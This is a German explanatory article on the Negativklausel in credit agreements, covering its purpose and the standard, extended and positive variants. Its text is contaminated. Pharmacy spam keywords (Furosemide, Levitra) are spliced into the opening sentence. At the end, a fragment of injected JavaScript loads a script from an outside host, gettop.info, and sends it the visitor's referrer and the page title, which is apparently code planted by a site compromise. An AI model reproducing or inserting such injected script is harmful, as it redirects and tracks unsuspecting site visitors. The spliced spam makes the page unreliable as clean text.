Arten und Inhalte der Negativklausel

treatment of depression Order Furosemide buy brand Levitra online Negativklausel ist die Zusicherung eines Schuldners gegenüber dem Gläubiger, dass Vermögenswerte nicht veräußert, belastet oder Dritten als Sicherheit gestellt werden. Die Negativklausel wird in Kreditverträgen als Erklärung gegenüber der Bank gefordert.

Inhalt der Negativklausel

Gläubiger sind stets daran interessiert, dass sie vom Schuldner gleichrangig bedient werden, denn die Kreditinstitute gewähren einen Kredit im Hinblick auf die jeweilige Vermögenssituation des Kreditnehmers. Sie vertrauen auf den Bestand während der gesamten Kreditlaufzeit. Damit der Kredit während der Kreditlaufzeit nicht gefährdet wird, enthält der Vertrag zum Zweck der Kreditsicherung die Negativklausel. Hält sich der Kreditnehmer nicht an die Vorgaben, sind die vorgenommenen Veräußerungen Dritten gegenüber rechtsunwirksam.

Arten Negativklausel

Negativklauseln finden sich in nahezu allen Konsortialkreditverträgen als Standard. Sie sind jedoch bereits ebenso bis zum mittelständischen Bereich vorgedrungen. Bei Immobilienfinanzierungen werden Negativklauseln ebenso eingesetzt. Auch in Anleihebedingungen werden sie für unbesicherte Anleihen mittlerweile genutzt. Die Inhalte der Negativklausel weisen einen sehr geringen Standardisierungsgrad auf. Rechtssystematisch kann je nach Verpflichtungsumfang zwischen folgenden Arten unterschieden werden:

Standard-Negativklausel

Bei der Standard-Negativklausel verpflichtet sich der Kreditnehmer lediglich, dass er während der Laufzeit des Kredits ohne die Einwilligung einer Bank keinen anderen Gläubigern irgendwelche Sicherheiten zur Verfügung stellt. Es sei denn, er stellt der Bank als Ersatz andere Sicherheiten zur Verfügung. Die Standard-Negativklausel ist sehr undifferenziert, daher sind präzisere Varianten vorzuziehen.

Erweiterte Negativklausel

Mit der erweiterten Negativklausel verpflichtet sich der Kreditnehmer, ohne die Einwilligung seiner Bank sein Vermögen nicht zu belasten, weder ganz noch teilweise ist dies erlaubt. Damit hierbei einer sittenwidrigen Knebelung vorgebeugt werden kann, müssen die Belastungen oder Veräußerungen des Umlaufvermögens im gewissen Rahmen ausdrücklich gestattet werden.

Positivklausel

Die Positivklausel beinhaltet zudem die Verpflichtung des Kreditnehmers, dass er unter bestimmten Voraussetzungen eine Sicherheit bestellt, die möglichst konkret beschrieben ist. Diese Sicherheit muss dabei einen Bestimmbarkeitsgrad erreichen, welcher beim Eintritt der Bedingung auf die beschriebene Kreditsicherheit einen genauen Rechtsanspruch der Bank auslöst. Der Status bis zum Abgeben der Negativklausel bleibt bei allen Varianten unangetastet. Jede Klausel sichert die künftige Entwicklung. } else {s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

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